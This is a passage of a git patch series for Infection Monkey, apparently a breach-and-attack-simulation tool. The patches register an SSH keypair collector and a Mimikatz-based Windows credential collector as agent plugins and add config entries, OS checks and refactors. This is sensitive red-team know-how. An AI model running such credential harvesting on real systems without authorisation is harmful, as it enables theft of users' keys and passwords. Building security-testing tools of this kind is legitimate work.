a/monkey/common/common_consts/system_info_collectors_names.py +++ b/monkey/common/common_consts/system_info_collectors_names.py @@ -1,2 +1,3 @@ PROCESS_LIST_COLLECTOR = "ProcessListCollector" MIMIKATZ_COLLECTOR = "MimikatzCollector" +SSH_COLLECTOR = "SSHCollector" From 92ddeebd4e571880e3a6754f7a4f6116556955ac Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:53:13 -0500 Subject: [PATCH 10/16] Island: Add SSHCollector to system info collectors --- .../definitions/system_info_collector_classes.py | 11 ++++++++++- .../monkey_island/cc/services/config_schema/monkey.py | 2 ++ .../monkey_configs/automated_master_config.json | 4 ++-- .../monkey_configs/monkey_config_standard.json | 6 ++---- 4 files changed, 16 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py index 5e446513c..3f3b8e8ad 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py @@ -1,6 +1,7 @@ from common.common_consts.system_info_collectors_names import ( MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR, + SSH_COLLECTOR, ) SYSTEM_INFO_COLLECTOR_CLASSES = { @@ -11,7 +12,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { { "type": "string", "enum": [MIMIKATZ_COLLECTOR], - "title": "Mimikatz Collector", + "title": "Mimikatz Credentials Collector", "safe": True, "info": "Collects credentials from Windows credential manager.", "attack_techniques": ["T1003", "T1005"], @@ -24,5 +25,13 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { "info": "Collects a list of running processes on the machine.", "attack_techniques": ["T1082"], }, + { + "type": "string", + "enum": [SSH_COLLECTOR], + "title": "SSH Credentials Collector", + "safe": True, + "info": "Searches users' home directories and collects SSH keypairs.", + "attack_techniques": ["T1005", "T1145"], + }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index 80719d4c2..85f975fe1 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -1,6 +1,7 @@ from common.common_consts.system_info_collectors_names import ( MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR, + SSH_COLLECTOR, ) MONKEY = { @@ -87,6 +88,7 @@ MONKEY = { "default": [ PROCESS_LIST_COLLECTOR, MIMIKATZ_COLLECTOR, + SSH_COLLECTOR, ], }, }, diff --git a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json index e7290d822..6524a169f 100644 --- a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json @@ -104,8 +104,8 @@ } }, "system_info_collector_classes": [ - "ProcessListCollector", - "MimikatzCollector" + "MimikatzCollector", + "SSHCollector" ] } } diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 69e6f4416..9552d4da9 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -146,10 +146,8 @@ }, "system_info": { "system_info_collector_classes": [ - "environmentcollector", - "hostnamecollector", - "processlistcollector", - "mimikatzcollector" + "MimikatzCollector", + "SSHCollector" ] } } From 10ee9f9e75cce70a96ac5bdedfc22b5de2e10a6d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:57:05 -0500 Subject: [PATCH 11/16] Agent: Do not run SSHCredentialsCollector if the OS is not Linux --- .../credential_collectors/ssh_collector/ssh_handler.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index 8c635d92b..89f3c34fc 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -8,6 +8,7 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem from infection_monkey.telemetry.attack.t1145_telem import T1145Telem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.utils.environment import is_windows_os logger = logging.getLogger(__name__) @@ -15,6 +16,12 @@ DEFAULT_DIRS = ["/.ssh/", "/"] def get_ssh_info(telemetry_messenger: ITelemetryMessenger) -> Iterable[Dict]: + if is_windows_os(): + logger.debug( + "Skipping SSH credentials collection because the operating system is not Linux" + ) + return [] + home_dirs = _get_home_dirs() ssh_info = _get_ssh_files(home_dirs, telemetry_messenger) From 3a3a5f0c9c38375b53d394f850035fd047085099 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 15:01:36 -0500 Subject: [PATCH 12/16] Agent: Implement run_credential_collector() in Puppet --- monkey/infection_monkey/monkey.py | 15 +++++++++++---- monkey/infection_monkey/puppet/puppet.py | 5 ++++- 2 files changed, 15 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 7fc8d89b2..c8132e054 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -12,7 +12,10 @@ from common.utils.attack_utils import ScanStatus, UsageEnum from common.version import get_version from infection_monkey.config import GUID, WormConfiguration from infection_monkey.control import ControlClient -from infection_monkey.credential_collectors import MimikatzCredentialCollector +from infection_monkey.credential_collectors import ( + MimikatzCredentialCollector, + SSHCredentialCollector, +) from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel @@ -170,7 +173,7 @@ class InfectionMonkey: def _build_master(self): local_network_interfaces = InfectionMonkey._get_local_network_interfaces() - puppet = InfectionMonkey._build_puppet() + puppet = self._build_puppet() victim_host_factory = self._build_victim_host_factory(local_network_interfaces) @@ -190,8 +193,7 @@ class InfectionMonkey: return local_network_interfaces - @staticmethod - def _build_puppet() -> IPuppet: + def _build_puppet(self) -> IPuppet: puppet = Puppet() puppet.load_plugin( @@ -199,6 +201,11 @@ class InfectionMonkey: MimikatzCredentialCollector(), PluginType.CREDENTIAL_COLLECTOR, ) + puppet.load_plugin( + "SSHCollector", + SSHCredentialCollector(self.telemetry_messenger), + PluginType.CREDENTIAL_COLLECTOR, + ) puppet.load_plugin("elastic", ElasticSearchFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("http", HTTPFingerprinter(), PluginType.FINGERPRINTER) diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 0bf07f714..5150c9b6f 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -29,7 +29,10 @@ class Puppet(IPuppet): self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type) def run_credential_collector(self, name: str, options: Dict) -> Sequence[Credentials]: - return list(self._mock_puppet.run_credential_collector(name, options)) + credential_collector = self._plugin_registry.get_plugin( + name, PluginType.CREDENTIAL_COLLECTOR + ) + return list(credential_collector.collect_credentials(options)) def run_pba(self, name: str, options: Dict) -> PostBreachData: return self._mock_puppet.run_pba(name, options) From 0880e16c54eaad27c6442e5e90c643f553387f29 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 15:10:38 -0500 Subject: [PATCH 13/16] Agent: Change ICredentialCollector interface to return Sequence Being able to check if the ICredentialCollector returned an empty Sequence is useful and easier than checking for an "empty" Iterable. --- .../mimikatz_collector/mimikatz_credential_collector.py | 6 +++--- .../ssh_collector/ssh_credential_collector.py | 6 +++--- .../credential_collection/i_credential_collector.py | 4 ++-- monkey/infection_monkey/puppet/puppet.py | 2 +- .../credential_collectors/test_mimikatz_collector.py | 6 +++--- 5 files changed, 12 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py index e1f94c4dd..1cbef911e 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py @@ -1,4 +1,4 @@ -from typing import Iterable +from typing import Sequence from infection_monkey.credential_collectors import LMHash, NTHash, Password, Username from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialCollector @@ -8,12 +8,12 @@ from .windows_credentials import WindowsCredentials class MimikatzCredentialCollector(ICredentialCollector): - def collect_credentials(self, options=None) -> Iterable[Credentials]: + def collect_credentials(self, options=None) -> Sequence[Credentials]: creds = pypykatz_handler.get_windows_creds() return MimikatzCredentialCollector._to_credentials(creds) @staticmethod - def _to_credentials(win_creds: Iterable[WindowsCredentials]) -> [Credentials]: + def _to_credentials(win_creds: Sequence[WindowsCredentials]) -> [Credentials]: all_creds = [] for win_cred in win_creds: identities = [] diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py index ce64221fb..69afd68f6 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py @@ -1,5 +1,5 @@ import logging -from typing import Dict, Iterable, List +from typing import Dict, Iterable, Sequence from infection_monkey.credential_collectors import SSHKeypair, Username from infection_monkey.credential_collectors.ssh_collector import ssh_handler @@ -17,7 +17,7 @@ class SSHCredentialCollector(ICredentialCollector): def __init__(self, telemetry_messenger: ITelemetryMessenger): self._telemetry_messenger = telemetry_messenger - def collect_credentials(self, _options=None) -> List[Credentials]: + def collect_credentials(self, _options=None) -> Sequence[Credentials]: logger.info("Started scanning for SSH credentials") ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger) logger.info("Finished scanning for SSH credentials") @@ -25,7 +25,7 @@ class SSHCredentialCollector(ICredentialCollector): return SSHCredentialCollector._to_credentials(ssh_info) @staticmethod - def _to_credentials(ssh_info: Iterable[Dict]) -> List[Credentials]: + def _to_credentials(ssh_info: Iterable[Dict]) -> Sequence[Credentials]: ssh_credentials = [] for info in ssh_info: diff --git a/monkey/infection_monkey/i_puppet/credential_collection/i_credential_collector.py b/monkey/infection_monkey/i_puppet/credential_collection/i_credential_collector.py index 847cd929d..0cbd2578b 100644 --- a/monkey/infection_monkey/i_puppet/credential_collection/i_credential_collector.py +++ b/monkey/infection_monkey/i_puppet/credential_collection/i_credential_collector.py @@ -1,10 +1,10 @@ from abc import ABC, abstractmethod -from typing import Iterable, Mapping, Optional +from typing import Mapping, Optional, Sequence from .credentials import Credentials class ICredentialCollector(ABC): @abstractmethod - def collect_credentials(self, options: Optional[Mapping]) -> Iterable[Credentials]: + def collect_credentials(self, options: Optional[Mapping]) -> Sequence[Credentials]: pass diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 5150c9b6f..bea4695b3 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -32,7 +32,7 @@ class Puppet(IPuppet): credential_collector = self._plugin_registry.get_plugin( name, PluginType.CREDENTIAL_COLLECTOR ) - return list(credential_collector.collect_credentials(options)) + return credential_collector.collect_credentials(options) def run_pba(self, name: str, options: Dict) -> PostBreachData: return self._mock_puppet.run_pba(name, options) diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py index b33d4e097..20eca62c7 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py @@ -1,4 +1,4 @@ -from typing import List +from typing import Sequence import pytest @@ -23,8 +23,8 @@ def patch_pypykatz(win_creds: [WindowsCredentials], monkeypatch): ) -def collect_credentials() -> List[Credentials]: - return list(MimikatzCredentialCollector().collect_credentials()) +def collect_credentials() -> Sequence[Credentials]: + return MimikatzCredentialCollector().collect_credentials() @pytest.mark.parametrize( From cc27dc97109945fe0b272509f8886881e39d5f8f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 15:17:13 -0500 Subject: [PATCH 14/16] Changelog: Add changelog entry for SSHCollector --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index b51cc9321..27cfe5e4e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - credentials.json file for storing Monkey Island user login information. #1206 - "GET /api/propagation-credentials/" endpoint for agents to retrieve updated credentials from the Island. #1538 +- SSHCollector as a configurable System info Collector. #1606 ### Changed - "Communicate as Backdoor User" PBA's HTTP requests to request headers only and From 704236a16fd91a8ee257eccc4707d5b58a7b6750 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 15:31:26 -0500 Subject: [PATCH 15/16] Common: Alphabetize TelemCategoryEnum --- monkey/common/common_consts/telem_categories.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/common/common_consts/telem_categories.py b/monkey/common/common_consts/telem_categories.py index d1e931721..70faa73f4 100644 --- a/monkey/common/common_consts/telem_categories.py +++ b/monkey/common/common_consts/telem_categories.py @@ -1,12 +1,12 @@ class TelemCategoryEnum: + ATTACK = "attack" + AWS_INFO = "aws_info" + CREDENTIALS = "credentials" EXPLOIT = "exploit" + FILE_ENCRYPTION = "file_encryption" POST_BREACH = "post_breach" SCAN = "scan" STATE = "state" SYSTEM_INFO = "system_info" TRACE = "trace" TUNNEL = "tunnel" - ATTACK = "attack" - FILE_ENCRYPTION = "file_encryption" - AWS_INFO = "aws_info" - CREDENTIALS = "credentials" From f526933d848e8d59621f56898dae3d97ac7909c2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 17 Feb 2022 06:18:44 -0500 Subject: [PATCH 16/16] Agent: Add TODO comment regarding OS checks in credential collectors --- .../credential_collectors/mimikatz_collector/pypykatz_handler.py | 1 + .../credential_collectors/ssh_collector/ssh_handler.py | 1 + 2 files changed, 2 insertions(+) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py index 98377bc86..25e02f5e1 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py @@ -24,6 +24,7 @@ PypykatzCredential = NewType("PypykatzCredential", Dict) def get_windows_creds() -> List[WindowsCredentials]: + # TODO: Remove this check when this is turned into a plugin. if not is_windows_os(): logger.debug("Skipping pypykatz because the operating system is not Windows") return [] diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index 89f3c34fc..ce3b17311 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -16,6 +16,7 @@ DEFAULT_DIRS = ["/.ssh/", "/"] def get_ssh_info(telemetry_messenger: ITelemetryMessenger) -> Iterable[Dict]: + # TODO: Remove this check when this is turned into a plugin. if is_windows_os(): logger.debug( "Skipping SSH credentials collection because the operating system is not Linux"